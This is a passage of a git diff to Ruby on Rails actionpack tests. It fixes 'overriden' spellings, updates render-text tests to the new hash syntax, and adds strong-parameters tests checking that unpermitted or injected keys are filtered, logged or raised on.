+ "render/blank_render/overridden_with_own_view_paths_prepended.html.erb" => "parent content",
+ "render/blank_render/overridden.html.erb" => "parent content",
+ "render/child_render/overridden.html.erb" => "child content"
)]
def index
@@ -25,13 +25,13 @@ module Render
render :action => "access_action_name"
end
- def overriden_with_own_view_paths_appended
+ def overridden_with_own_view_paths_appended
end
- def overriden_with_own_view_paths_prepended
+ def overridden_with_own_view_paths_prepended
end
- def overriden
+ def overridden
end
private
@@ -49,8 +49,8 @@ module Render
end
class ChildRenderController < BlankRenderController
- append_view_path ActionView::FixtureResolver.new("render/child_render/overriden_with_own_view_paths_appended.html.erb" => "child content")
- prepend_view_path ActionView::FixtureResolver.new("render/child_render/overriden_with_own_view_paths_prepended.html.erb" => "child content")
+ append_view_path ActionView::FixtureResolver.new("render/child_render/overridden_with_own_view_paths_appended.html.erb" => "child content")
+ prepend_view_path ActionView::FixtureResolver.new("render/child_render/overridden_with_own_view_paths_prepended.html.erb" => "child content")
end
class RenderTest < Rack::TestCase
@@ -114,17 +114,17 @@ module Render
class TestViewInheritance < Rack::TestCase
test "Template from child controller gets picked over parent one" do
- get "/render/child_render/overriden"
+ get "/render/child_render/overridden"
assert_body "child content"
end
test "Template from child controller with custom view_paths prepended gets picked over parent one" do
- get "/render/child_render/overriden_with_own_view_paths_prepended"
+ get "/render/child_render/overridden_with_own_view_paths_prepended"
assert_body "child content"
end
test "Template from child controller with custom view_paths appended gets picked over parent one" do
- get "/render/child_render/overriden_with_own_view_paths_appended"
+ get "/render/child_render/overridden_with_own_view_paths_appended"
assert_body "child content"
end
diff --git a/actionpack/test/controller/new_base/render_text_test.rb b/actionpack/test/controller/new_base/render_text_test.rb
index d6c3926a4d..10bad57cd6 100644
--- a/actionpack/test/controller/new_base/render_text_test.rb
+++ b/actionpack/test/controller/new_base/render_text_test.rb
@@ -1,11 +1,20 @@
require 'abstract_unit'
module RenderText
+ class MinimalController < ActionController::Metal
+ include AbstractController::Rendering
+ include ActionController::Rendering
+
+ def index
+ render text: "Hello World!"
+ end
+ end
+
class SimpleController < ActionController::Base
self.view_paths = [ActionView::FixtureResolver.new]
def index
- render :text => "hello david"
+ render text: "hello david"
end
end
@@ -17,55 +26,61 @@ module RenderText
)]
def index
- render :text => "hello david"
+ render text: "hello david"
end
def custom_code
- render :text => "hello world", :status => 404
+ render text: "hello world", status: 404
end
def with_custom_code_as_string
- render :text => "hello world", :status => "404 Not Found"
+ render text: "hello world", status: "404 Not Found"
end
def with_nil
- render :text => nil
+ render text: nil
end
def with_nil_and_status
- render :text => nil, :status => 403
+ render text: nil, status: 403
end
def with_false
- render :text => false
+ render text: false
end
def with_layout_true
- render :text => "hello world", :layout => true
+ render text: "hello world", layout: true
end
def with_layout_false
- render :text => "hello world", :layout => false
+ render text: "hello world", layout: false
end
def with_layout_nil
- render :text => "hello world", :layout => nil
+ render text: "hello world", layout: nil
end
def with_custom_layout
- render :text => "hello world", :layout => "greetings"
+ render text: "hello world", layout: "greetings"
end
def with_ivar_in_layout
@ivar = "hello world"
- render :text => "hello world", :layout => "ivar"
+ render text: "hello world", layout: "ivar"
end
end
class RenderTextTest < Rack::TestCase
+ test "rendering text from a minimal controller" do
+ get "/render_text/minimal/index"
+ assert_body "Hello World!"
+ assert_status 200
+ end
+
test "rendering text from an action with default options renders the text with the layout" do
with_routing do |set|
- set.draw { get ':controller', :action => 'index' }
+ set.draw { get ':controller', action: 'index' }
get "/render_text/simple"
assert_body "hello david"
@@ -75,7 +90,7 @@ module RenderText
test "rendering text from an action with default options renders the text without the layout" do
with_routing do |set|
- set.draw { get ':controller', :action => 'index' }
+ set.draw { get ':controller', action: 'index' }
get "/render_text/with_layout"
@@ -91,17 +106,17 @@ module RenderText
assert_status 404
end
- test "rendering text with nil returns an empty body padded for Safari" do
+ test "rendering text with nil returns an empty body" do
get "/render_text/with_layout/with_nil"
- assert_body " "
+ assert_body ""
assert_status 200
end
- test "Rendering text with nil and custom status code returns an empty body padded for Safari and the status" do
+ test "Rendering text with nil and custom status code returns an empty body and the status" do
get "/render_text/with_layout/with_nil_and_status"
- assert_body " "
+ assert_body ""
assert_status 403
end
@@ -112,28 +127,28 @@ module RenderText
assert_status 200
end
- test "rendering text with :layout => true" do
+ test "rendering text with layout: true" do
get "/render_text/with_layout/with_layout_true"
assert_body "hello world, I'm here!"
assert_status 200
end
- test "rendering text with :layout => 'greetings'" do
+ test "rendering text with layout: 'greetings'" do
get "/render_text/with_layout/with_custom_layout"
assert_body "hello world, I wish thee well."
assert_status 200
end
- test "rendering text with :layout => false" do
+ test "rendering text with layout: false" do
get "/render_text/with_layout/with_layout_false"
assert_body "hello world"
assert_status 200
end
- test "rendering text with :layout => nil" do
+ test "rendering text with layout: nil" do
get "/render_text/with_layout/with_layout_nil"
assert_body "hello world"
diff --git a/actionpack/test/controller/output_escaping_test.rb b/actionpack/test/controller/output_escaping_test.rb
index f6913a2138..c3c549fbfc 100644
--- a/actionpack/test/controller/output_escaping_test.rb
+++ b/actionpack/test/controller/output_escaping_test.rb
@@ -3,7 +3,7 @@ require 'abstract_unit'
class OutputEscapingTest < ActiveSupport::TestCase
test "escape_html shouldn't die when passed nil" do
- assert_blank ERB::Util.h(nil)
+ assert ERB::Util.h(nil).blank?
end
test "escapeHTML should escape strings" do
@@ -11,8 +11,6 @@ class OutputEscapingTest < ActiveSupport::TestCase
end
test "escapeHTML shouldn't touch explicitly safe strings" do
- # TODO this seems easier to compose and reason about, but
- # this should be verified
assert_equal "<", ERB::Util.h("<".html_safe)
end
diff --git a/actionpack/test/controller/parameters/accessors_test.rb b/actionpack/test/controller/parameters/accessors_test.rb
new file mode 100644
index 0000000000..97875c3cbb
--- /dev/null
+++ b/actionpack/test/controller/parameters/accessors_test.rb
@@ -0,0 +1,125 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+require 'active_support/core_ext/hash/transform_values'
+
+class ParametersAccessorsTest < ActiveSupport::TestCase
+ setup do
+ @params = ActionController::Parameters.new(
+ person: {
+ age: '32',
+ name: {
+ first: 'David',
+ last: 'Heinemeier Hansson'
+ },
+ addresses: [{city: 'Chicago', state: 'Illinois'}]
+ }
+ )
+ end
+
+ test "[] retains permitted status" do
+ @params.permit!
+ assert @params[:person].permitted?
+ assert @params[:person][:name].permitted?
+ end
+
+ test "[] retains unpermitted status" do
+ assert_not @params[:person].permitted?
+ assert_not @params[:person][:name].permitted?
+ end
+
+ test "each carries permitted status" do
+ @params.permit!
+ @params.each { |key, value| assert(value.permitted?) if key == "person" }
+ end
+
+ test "each carries unpermitted status" do
+ @params.each { |key, value| assert_not(value.permitted?) if key == "person" }
+ end
+
+ test "each_pair carries permitted status" do
+ @params.permit!
+ @params.each_pair { |key, value| assert(value.permitted?) if key == "person" }
+ end
+
+ test "each_pair carries unpermitted status" do
+ @params.each_pair { |key, value| assert_not(value.permitted?) if key == "person" }
+ end
+
+ test "except retains permitted status" do
+ @params.permit!
+ assert @params.except(:person).permitted?
+ assert @params[:person].except(:name).permitted?
+ end
+
+ test "except retains unpermitted status" do
+ assert_not @params.except(:person).permitted?
+ assert_not @params[:person].except(:name).permitted?
+ end
+
+ test "fetch retains permitted status" do
+ @params.permit!
+ assert @params.fetch(:person).permitted?
+ assert @params[:person].fetch(:name).permitted?
+ end
+
+ test "fetch retains unpermitted status" do
+ assert_not @params.fetch(:person).permitted?
+ assert_not @params[:person].fetch(:name).permitted?
+ end
+
+ test "reject retains permitted status" do
+ assert_not @params.reject { |k| k == "person" }.permitted?
+ end
+
+ test "reject retains unpermitted status" do
+ @params.permit!
+ assert @params.reject { |k| k == "person" }.permitted?
+ end
+
+ test "select retains permitted status" do
+ @params.permit!
+ assert @params.select { |k| k == "person" }.permitted?
+ end
+
+ test "select retains unpermitted status" do
+ assert_not @params.select { |k| k == "person" }.permitted?
+ end
+
+ test "slice retains permitted status" do
+ @params.permit!
+ assert @params.slice(:person).permitted?
+ end
+
+ test "slice retains unpermitted status" do
+ assert_not @params.slice(:person).permitted?
+ end
+
+ test "transform_keys retains permitted status" do
+ @params.permit!
+ assert @params.transform_keys { |k| k }.permitted?
+ end
+
+ test "transform_keys retains unpermitted status" do
+ assert_not @params.transform_keys { |k| k }.permitted?
+ end
+
+ test "transform_values retains permitted status" do
+ @params.permit!
+ assert @params.transform_values { |v| v }.permitted?
+ end
+
+ test "transform_values retains unpermitted status" do
+ assert_not @params.transform_values { |v| v }.permitted?
+ end
+
+ test "values_at retains permitted status" do
+ @params.permit!
+ assert @params.values_at(:person).first.permitted?
+ assert @params[:person].values_at(:name).first.permitted?
+ end
+
+ test "values_at retains unpermitted status" do
+ assert_not @params.values_at(:person).first.permitted?
+ assert_not @params[:person].values_at(:name).first.permitted?
+ end
+end
diff --git a/actionpack/test/controller/parameters/always_permitted_parameters_test.rb b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb
new file mode 100644
index 0000000000..059f310d49
--- /dev/null
+++ b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb
@@ -0,0 +1,29 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class AlwaysPermittedParametersTest < ActiveSupport::TestCase
+ def setup
+ ActionController::Parameters.action_on_unpermitted_parameters = :raise
+ ActionController::Parameters.always_permitted_parameters = %w( controller action format )
+ end
+
+ def teardown
+ ActionController::Parameters.action_on_unpermitted_parameters = false
+ ActionController::Parameters.always_permitted_parameters = %w( controller action )
+ end
+
+ test "shows deprecations warning on NEVER_UNPERMITTED_PARAMS" do
+ assert_deprecated do
+ ActionController::Parameters::NEVER_UNPERMITTED_PARAMS
+ end
+ end
+
+ test "permits parameters that are whitelisted" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65 },
+ format: "json"
+ })
+ permitted = params.permit book: [:pages]
+ assert permitted.permitted?
+ end
+end
diff --git a/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
new file mode 100644
index 0000000000..9ce04b9aeb
--- /dev/null
+++ b/actionpack/test/controller/parameters/log_on_unpermitted_params_test.rb
@@ -0,0 +1,72 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class LogOnUnpermittedParamsTest < ActiveSupport::TestCase
+ def setup
+ ActionController::Parameters.action_on_unpermitted_parameters = :log
+ end
+
+ def teardown
+ ActionController::Parameters.action_on_unpermitted_parameters = false
+ end
+
+ test "logs on unexpected param" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65 },
+ fishing: "Turnips"
+ })
+
+ assert_logged("Unpermitted parameter: fishing") do
+ params.permit(book: [:pages])
+ end
+ end
+
+ test "logs on unexpected params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65 },
+ fishing: "Turnips",
+ car: "Mersedes"
+ })
+
+ assert_logged("Unpermitted parameters: fishing, car") do
+ params.permit(book: [:pages])
+ end
+ end
+
+ test "logs on unexpected nested param" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65, title: "Green Cats and where to find then." }
+ })
+
+ assert_logged("Unpermitted parameter: title") do
+ params.permit(book: [:pages])
+ end
+ end
+
+ test "logs on unexpected nested params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65, title: "Green Cats and where to find then.", author: "G. A. Dog" }
+ })
+
+ assert_logged("Unpermitted parameters: title, author") do
+ params.permit(book: [:pages])
+ end
+ end
+
+ private
+
+ def assert_logged(message)
+ old_logger = ActionController::Base.logger
+ log = StringIO.new
+ ActionController::Base.logger = Logger.new(log)
+
+ begin
+ yield
+
+ log.rewind
+ assert_match message, log.read
+ ensure
+ ActionController::Base.logger = old_logger
+ end
+ end
+end
diff --git a/actionpack/test/controller/parameters/mutators_test.rb b/actionpack/test/controller/parameters/mutators_test.rb
new file mode 100644
index 0000000000..744d8664be
--- /dev/null
+++ b/actionpack/test/controller/parameters/mutators_test.rb
@@ -0,0 +1,99 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+require 'active_support/core_ext/hash/transform_values'
+
+class ParametersMutatorsTest < ActiveSupport::TestCase
+ setup do
+ @params = ActionController::Parameters.new(
+ person: {
+ age: '32',
+ name: {
+ first: 'David',
+ last: 'Heinemeier Hansson'
+ },
+ addresses: [{city: 'Chicago', state: 'Illinois'}]
+ }
+ )
+ end
+
+ test "delete retains permitted status" do
+ @params.permit!
+ assert @params.delete(:person).permitted?
+ end
+
+ test "delete retains unpermitted status" do
+ assert_not @params.delete(:person).permitted?
+ end
+
+ test "delete_if retains permitted status" do
+ @params.permit!
+ assert @params.delete_if { |k| k == "person" }.permitted?
+ end
+
+ test "delete_if retains unpermitted status" do
+ assert_not @params.delete_if { |k| k == "person" }.permitted?
+ end
+
+ test "extract! retains permitted status" do
+ @params.permit!
+ assert @params.extract!(:person).permitted?
+ end
+
+ test "extract! retains unpermitted status" do
+ assert_not @params.extract!(:person).permitted?
+ end
+
+ test "keep_if retains permitted status" do
+ @params.permit!
+ assert @params.keep_if { |k,v| k == "person" }.permitted?
+ end
+
+ test "keep_if retains unpermitted status" do
+ assert_not @params.keep_if { |k,v| k == "person" }.permitted?
+ end
+
+ test "reject! retains permitted status" do
+ @params.permit!
+ assert @params.reject! { |k| k == "person" }.permitted?
+ end
+
+ test "reject! retains unpermitted status" do
+ assert_not @params.reject! { |k| k == "person" }.permitted?
+ end
+
+ test "select! retains permitted status" do
+ @params.permit!
+ assert @params.select! { |k| k != "person" }.permitted?
+ end
+
+ test "select! retains unpermitted status" do
+ assert_not @params.select! { |k| k != "person" }.permitted?
+ end
+
+ test "slice! retains permitted status" do
+ @params.permit!
+ assert @params.slice!(:person).permitted?
+ end
+
+ test "slice! retains unpermitted status" do
+ assert_not @params.slice!(:person).permitted?
+ end
+
+ test "transform_keys! retains permitted status" do
+ @params.permit!
+ assert @params.transform_keys! { |k| k }.permitted?
+ end
+
+ test "transform_keys! retains unpermitted status" do
+ assert_not @params.transform_keys! { |k| k }.permitted?
+ end
+
+ test "transform_values! retains permitted status" do
+ @params.permit!
+ assert @params.transform_values! { |v| v }.permitted?
+ end
+
+ test "transform_values! retains unpermitted status" do
+ assert_not @params.transform_values! { |v| v }.permitted?
+ end
+end
diff --git a/actionpack/test/controller/parameters/nested_parameters_test.rb b/actionpack/test/controller/parameters/nested_parameters_test.rb
index 6df849c4e2..3b1257e8d5 100644
--- a/actionpack/test/controller/parameters/nested_parameters_test.rb
+++ b/actionpack/test/controller/parameters/nested_parameters_test.rb
@@ -2,6 +2,10 @@ require 'abstract_unit'
require 'action_controller/metal/strong_parameters'
class NestedParametersTest < ActiveSupport::TestCase
+ def assert_filtered_out(params, key)
+ assert !params.has_key?(key), "key #{key.inspect} has not been filtered out"
+ end
+
test "permitted nested parameters" do
params = ActionController::Parameters.new({
book: {
@@ -11,6 +15,8 @@ class NestedParametersTest < ActiveSupport::TestCase
born: "1564-04-26"
}, {
name: "Christopher Marlowe"
+ }, {
+ name: %w(malicious injected names)
}],
details: {
pages: 200,
@@ -30,10 +36,12 @@ class NestedParametersTest < ActiveSupport::TestCase
assert_equal "William Shakespeare", permitted[:book][:authors][0][:name]
assert_equal "Christopher Marlowe", permitted[:book][:authors][1][:name]
assert_equal 200, permitted[:book][:details][:pages]
- assert_nil permitted[:book][:id]
- assert_nil permitted[:book][:details][:genre]
- assert_nil permitted[:book][:authors][0][:born]
- assert_nil permitted[:magazine]
+
+ assert_filtered_out permitted, :magazine
+ assert_filtered_out permitted[:book], :id
+ assert_filtered_out permitted[:book][:details], :genre
+ assert_filtered_out permitted[:book][:authors][0], :born
+ assert_filtered_out permitted[:book][:authors][2], :name
end
test "permitted nested parameters with a string or a symbol as a key" do
@@ -63,25 +71,25 @@ class NestedParametersTest < ActiveSupport::TestCase
test "nested arrays with strings" do
params = ActionController::Parameters.new({
- :book => {
- :genres => ["Tragedy"]
+ book: {
+ genres: ["Tragedy"]
}
})
- permitted = params.permit :book => :genres
+ permitted = params.permit book: {genres: []}
assert_equal ["Tragedy"], permitted[:book][:genres]
end
test "permit may specify symbols or strings" do
params = ActionController::Parameters.new({
- :book => {
- :title => "Romeo and Juliet",
- :author => "William Shakespeare"
+ book: {
+ title: "Romeo and Juliet",
+ author: "William Shakespeare"
},
- :magazine => "Shakespeare Today"
+ magazine: "Shakespeare Today"
})
- permitted = params.permit({:book => ["title", :author]}, "magazine")
+ permitted = params.permit({book: ["title", :author]}, "magazine")
assert_equal "Romeo and Juliet", permitted[:book][:title]
assert_equal "William Shakespeare", permitted[:book][:author]
assert_equal "Shakespeare Today", permitted[:magazine]
@@ -127,16 +135,53 @@ class NestedParametersTest < ActiveSupport::TestCase
book: {
authors_attributes: {
:'0' => { name: 'William Shakespeare', age_of_death: '52' },
- :'-1' => { name: 'Unattributed Assistant' }
+ :'1' => { name: 'Unattributed Assistant' },
+ :'2' => { name: %w(injected names)}
}
}
})
permitted = params.permit book: { authors_attributes: [ :name ] }
assert_not_nil permitted[:book][:authors_attributes]['0']
- assert_not_nil permitted[:book][:authors_attributes]['-1']
- assert_nil permitted[:book][:authors_attributes]['0'][:age_of_death]
+ assert_not_nil permitted[:book][:authors_attributes]['1']
+ assert_empty permitted[:book][:authors_attributes]['2']
assert_equal 'William Shakespeare', permitted[:book][:authors_attributes]['0'][:name]
- assert_equal 'Unattributed Assistant', permitted[:book][:authors_attributes]['-1'][:name]
+ assert_equal 'Unattributed Assistant', permitted[:book][:authors_attributes]['1'][:name]
+
+ assert_filtered_out permitted[:book][:authors_attributes]['0'], :age_of_death
+ end
+
+ test "fields_for-style nested params with negative numbers" do
+ params = ActionController::Parameters.new({
+ book: {
+ authors_attributes: {
+ :'-1' => { name: 'William Shakespeare', age_of_death: '52' },
+ :'-2' => { name: 'Unattributed Assistant' }
+ }
+ }
+ })
+ permitted = params.permit book: { authors_attributes: [:name] }
+
+ assert_not_nil permitted[:book][:authors_attributes]['-1']
+ assert_not_nil permitted[:book][:authors_attributes]['-2']
+ assert_equal 'William Shakespeare', permitted[:book][:authors_attributes]['-1'][:name]
+ assert_equal 'Unattributed Assistant', permitted[:book][:authors_attributes]['-2'][:name]
+
+ assert_filtered_out permitted[:book][:authors_attributes]['-1'], :age_of_death
+ end
+
+ test "nested number as key" do
+ params = ActionController::Parameters.new({
+ product: {
+ properties: {
+ '0' => "prop0",
+ '1' => "prop1"
+ }
+ }
+ })
+ params = params.require(:product).permit(:properties => ["0"])
+ assert_not_nil params[:properties]["0"]
+ assert_nil params[:properties]["1"]
+ assert_equal "prop0", params[:properties]["0"]
end
end
diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb
index 7cc71fe6dc..ba98ad7605 100644
--- a/actionpack/test/controller/parameters/parameters_permit_test.rb
+++ b/actionpack/test/controller/parameters/parameters_permit_test.rb
@@ -1,59 +1,197 @@
require 'abstract_unit'
+require 'action_dispatch/http/upload'
require 'action_controller/metal/strong_parameters'
class ParametersPermitTest < ActiveSupport::TestCase
+ def assert_filtered_out(params, key)
+ assert !params.has_key?(key), "key #{key.inspect} has not been filtered out"
+ end
+
setup do
- @params = ActionController::Parameters.new({ person: {
- age: "32", name: { first: "David", last: "Heinemeier Hansson" }
- }})
+ @params = ActionController::Parameters.new(
+ person: {
+ age: '32',
+ name: {
+ first: 'David',
+ last: 'Heinemeier Hansson'
+ },
+ addresses: [{city: 'Chicago', state: 'Illinois'}]
+ }
+ )
+
+ @struct_fields = []
+ %w(0 1 12).each do |number|
+ ['', 'i', 'f'].each do |suffix|
+ @struct_fields << "sf(#{number}#{suffix})"
+ end
+ end
end
- test "fetch raises ParameterMissing exception" do
- e = assert_raises(ActionController::ParameterMissing) do
- @params.fetch :foo
+ test 'if nothing is permitted, the hash becomes empty' do
+ params = ActionController::Parameters.new(id: '1234')
+ permitted = params.permit
+ assert permitted.permitted?
+ assert permitted.empty?
+ end
+
+ test 'key: permitted scalar values' do
+ values = ['a', :a, nil]
+ values += [0, 1.0, 2**128, BigDecimal.new(1)]
+ values += [true, false]
+ values += [Date.today, Time.now, DateTime.now]
+ values += [STDOUT, StringIO.new, ActionDispatch::Http::UploadedFile.new(tempfile: __FILE__),
+ Rack::Test::UploadedFile.new(__FILE__)]
+
+ values.each do |value|
+ params = ActionController::Parameters.new(id: value)
+ permitted = params.permit(:id)
+ assert_equal value, permitted[:id]
+
+ @struct_fields.each do |sf|
+ params = ActionController::Parameters.new(sf => value)
+ permitted = params.permit(:sf)
+ assert_equal value, permitted[sf]
+ end
end
- assert_equal :foo, e.param
end
- test "fetch doesnt raise ParameterMissing exception if there is a default" do
- assert_equal "monkey", @params.fetch(:foo, "monkey")
- assert_equal "monkey", @params.fetch(:foo) { "monkey" }
+ test 'key: unknown keys are filtered out' do
+ params = ActionController::Parameters.new(id: '1234', injected: 'injected')
+ permitted = params.permit(:id)
+ assert_equal '1234', permitted[:id]
+ assert_filtered_out permitted, :injected
end
- test "not permitted is sticky on accessors" do
- assert !@params.slice(:person).permitted?
- assert !@params[:person][:name].permitted?
- assert !@params[:person].except(:name).permitted?
+ test 'key: arrays are filtered out' do
+ [[], [1], ['1']].each do |array|
+ params = ActionController::Parameters.new(id: array)
+ permitted = params.permit(:id)
+ assert_filtered_out permitted, :id
- @params.each { |key, value| assert(!value.permitted?) if key == "person" }
+ @struct_fields.each do |sf|
+ params = ActionController::Parameters.new(sf => array)
+ permitted = params.permit(:sf)
+ assert_filtered_out permitted, sf
+ end
+ end
+ end
- assert !@params.fetch(:person).permitted?
+ test 'key: hashes are filtered out' do
+ [{}, {foo: 1}, {foo: 'bar'}].each do |hash|
+ params = ActionController::Parameters.new(id: hash)
+ permitted = params.permit(:id)
+ assert_filtered_out permitted, :id
- assert !@params.values_at(:person).first.permitted?
+ @struct_fields.each do |sf|
+ params = ActionController::Parameters.new(sf => hash)
+ permitted = params.permit(:sf)
+ assert_filtered_out permitted, sf
+ end
+ end
end
- test "permitted is sticky on accessors" do
- @params.permit!
- assert @params.slice(:person).permitted?
- assert @params[:person][:name].permitted?
- assert @params[:person].except(:name).permitted?
+ test 'key: non-permitted scalar values are filtered out' do
+ params = ActionController::Parameters.new(id: Object.new)
+ permitted = params.permit(:id)
+ assert_filtered_out permitted, :id
- @params.each { |key, value| assert(value.permitted?) if key == "person" }
+ @struct_fields.each do |sf|
+ params = ActionController::Parameters.new(sf => Object.new)
+ permitted = params.permit(:sf)
+ assert_filtered_out permitted, sf
+ end
+ end
- assert @params.fetch(:person).permitted?
+ test 'key: it is not assigned if not present in params' do
+ params = ActionController::Parameters.new(name: 'Joe')
+ permitted = params.permit(:id)
+ assert !permitted.has_key?(:id)
+ end
- assert @params.values_at(:person).first.permitted?
+ test 'key to empty array: empty arrays pass' do
+ params = ActionController::Parameters.new(id: [])
+ permitted = params.permit(id: [])
+ assert_equal [], permitted[:id]
end
- test "not permitted is sticky on mutators" do
- assert !@params.delete_if { |k| k == "person" }.permitted?
- assert !@params.keep_if { |k,v| k == "person" }.permitted?
+ test 'do not break params filtering on nil values' do
+ params = ActionController::Parameters.new(a: 1, b: [1, 2, 3], c: nil)
+
+ permitted = params.permit(:a, c: [], b: [])
+ assert_equal 1, permitted[:a]
+ assert_equal [1, 2, 3], permitted[:b]
+ assert_equal nil, permitted[:c]
end
- test "permitted is sticky on mutators" do
- @params.permit!
- assert @params.delete_if { |k| k == "person" }.permitted?
- assert @params.keep_if { |k,v| k == "person" }.permitted?
+ test 'key to empty array: arrays of permitted scalars pass' do
+ [['foo'], [1], ['foo', 'bar'], [1, 2, 3]].each do |array|
+ params = ActionController::Parameters.new(id: array)
+ permitted = params.permit(id: [])
+ assert_equal array, permitted[:id]
+ end
+ end
+
+ test 'key to empty array: permitted scalar values do not pass' do
+ ['foo', 1].each do |permitted_scalar|
+ params = ActionController::Parameters.new(id: permitted_scalar)
+ permitted = params.permit(id: [])
+ assert_filtered_out permitted, :id
+ end
+ end
+
+ test 'key to empty array: arrays of non-permitted scalar do not pass' do
+ [[Object.new], [[]], [[1]], [{}], [{id: '1'}]].each do |non_permitted_scalar|
+ params = ActionController::Parameters.new(id: non_permitted_scalar)
+ permitted = params.permit(id: [])
+ assert_filtered_out permitted, :id
+ end
+ end
+
+ test "fetch raises ParameterMissing exception" do
+ e = assert_raises(ActionController::ParameterMissing) do
+ @params.fetch :foo
+ end
+ assert_equal :foo, e.param
+ end
+
+ test "fetch with a default value of a hash does not mutate the object" do
+ params = ActionController::Parameters.new({})
+ params.fetch :foo, {}
+ assert_equal nil, params[:foo]
+ end
+
+ test 'hashes in array values get wrapped' do
+ params = ActionController::Parameters.new(foo: [{}, {}])
+ params[:foo].each do |hash|
+ assert !hash.permitted?
+ end
+ end
+
+ # Strong params has an optimization to avoid looping every time you read
+ # a key whose value is an array and building a new object. We check that
+ # optimization here.
+ test 'arrays are converted at most once' do
+ params = ActionController::Parameters.new(foo: [{}])
+ assert_same params[:foo], params[:foo]
+ end
+
+ # Strong params has an internal cache to avoid duplicated loops in the most
+ # common usage pattern. See the docs of the method `converted_arrays`.
+ #
+ # This test checks that if we push a hash to an array (in-place modification)
+ # the cache does not get fooled, the hash is still wrapped as strong params,
+ # and not permitted.
+ test 'mutated arrays are detected' do
+ params = ActionController::Parameters.new(users: [{id: 1}])
+
+ permitted = params.permit(users: [:id])
+ permitted[:users] << {injected: 1}
+ assert_not permitted[:users].last.permitted?
+ end
+
+ test "fetch doesnt raise ParameterMissing exception if there is a default" do
+ assert_equal "monkey", @params.fetch(:foo, "monkey")
+ assert_equal "monkey", @params.fetch(:foo) { "monkey" }
end
test "not permitted is sticky beyond merges" do
@@ -73,10 +211,6 @@ class ParametersPermitTest < ActiveSupport::TestCase
assert_equal "Jonas", @params[:person][:family][:brother]
end
- test "permitting parameters that are not there should not include the keys" do
- assert !@params.permit(:person, :funky).has_key?(:funky)
- end
-
test "permit state is kept on a dup" do
@params.permit!
assert_equal @params.permitted?, @params.dup.permitted?
@@ -87,6 +221,7 @@ class ParametersPermitTest < ActiveSupport::TestCase
assert @params.permitted?
assert @params[:person].permitted?
assert @params[:person][:name].permitted?
+ assert @params[:person][:addresses][0].permitted?
end
test "permitted takes a default value when Parameters.permit_all_parameters is set" do
@@ -106,4 +241,43 @@ class ParametersPermitTest < ActiveSupport::TestCase
test "permitting parameters as an array" do
assert_equal "32", @params[:person].permit([ :age ])[:age]
end
+
+ test "to_h returns empty hash on unpermitted params" do
+ assert @params.to_h.is_a? Hash
+ assert_not @params.to_h.is_a? ActionController::Parameters
+ assert @params.to_h.empty?
+ end
+
+ test "to_h returns converted hash on permitted params" do
+ @params.permit!
+
+ assert @params.to_h.is_a? Hash
+ assert_not @params.to_h.is_a? ActionController::Parameters
+ assert_equal @params.to_hash, @params.to_h
+ end
+
+ test "to_h returns converted hash when .permit_all_parameters is set" do
+ begin
+ ActionController::Parameters.permit_all_parameters = true
+ params = ActionController::Parameters.new(crab: "Senjougahara Hitagi")
+
+ assert params.to_h.is_a? Hash
+ assert_not @params.to_h.is_a? ActionController::Parameters
+ assert_equal({ "crab" => "Senjougahara Hitagi" }, params.to_h)
+ ensure
+ ActionController::Parameters.permit_all_parameters = false
+ end
+ end
+
+ test "to_h returns always permitted parameter on unpermitted params" do
+ params = ActionController::Parameters.new(
+ controller: "users",
+ action: "create",
+ user: {
+ name: "Sengoku Nadeko"
+ }
+ )
+
+ assert_equal({ "controller" => "users", "action" => "create" }, params.to_h)
+ end
end
diff --git a/actionpack/test/controller/parameters/parameters_require_test.rb b/actionpack/test/controller/parameters/parameters_require_test.rb
deleted file mode 100644
index bdaba8d2d8..0000000000
--- a/actionpack/test/controller/parameters/parameters_require_test.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'abstract_unit'
-require 'action_controller/metal/strong_parameters'
-
-class ParametersRequireTest < ActiveSupport::TestCase
- test "required parameters must be present not merely not nil" do
- assert_raises(ActionController::ParameterMissing) do
- ActionController::Parameters.new(person: {}).require(:person)
- end
- end
-end
diff --git a/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb b/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb
new file mode 100644
index 0000000000..f9cc9f96f1
--- /dev/null
+++ b/actionpack/test/controller/parameters/raise_on_unpermitted_params_test.rb
@@ -0,0 +1,33 @@
+require 'abstract_unit'
+require 'action_controller/metal/strong_parameters'
+
+class RaiseOnUnpermittedParamsTest < ActiveSupport::TestCase
+ def setup
+ ActionController::Parameters.action_on_unpermitted_parameters = :raise
+ end
+
+ def teardown
+ ActionController::Parameters.action_on_unpermitted_parameters = false
+ end
+
+ test "raises on unexpected params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65 },
+ fishing: "Turnips"
+ })
+
+ assert_raises(ActionController::UnpermittedParameters) do
+ params.permit(book: [:pages])
+ end
+ end
+
+ test "raises on unexpected nested params" do
+ params = ActionController::Parameters.new({
+ book: { pages: 65, title: "Green Cats and where to find then." }
+ })
+
+ assert_raises(ActionController::UnpermittedParameters) do
+ params.permit(book: [:pages])
+ end
+ end
+end
diff --git a/actionpack/test/controller/params_wrapper_test.rb b/actionpack/test/controller/params_wrapper_test.rb
index d87e2b85b0..645ecae220 100644
--- a/actionpack/test/controller/params_wrapper_test.rb
+++ b/actionpack/test/controller/params_wrapper_test.rb
@@ -188,6 +188,26 @@ class ParamsWrapperTest < ActionController::TestCase
assert_parameters({ 'username' => 'sikachu', 'title' => 'Developer', 'user' => { 'username' => 'sikachu', 'title' => 'Developer' }})
end
end
+
+ def test_preserves_query_string_params
+ with_default_wrapper_options do
+ @request.env['CONTENT_TYPE'] = 'application/json'
+ get :parse, { 'user' => { 'username' => 'nixon' } }
+ assert_parameters(
+ {'user' => { 'username' => 'nixon' } }
+ )
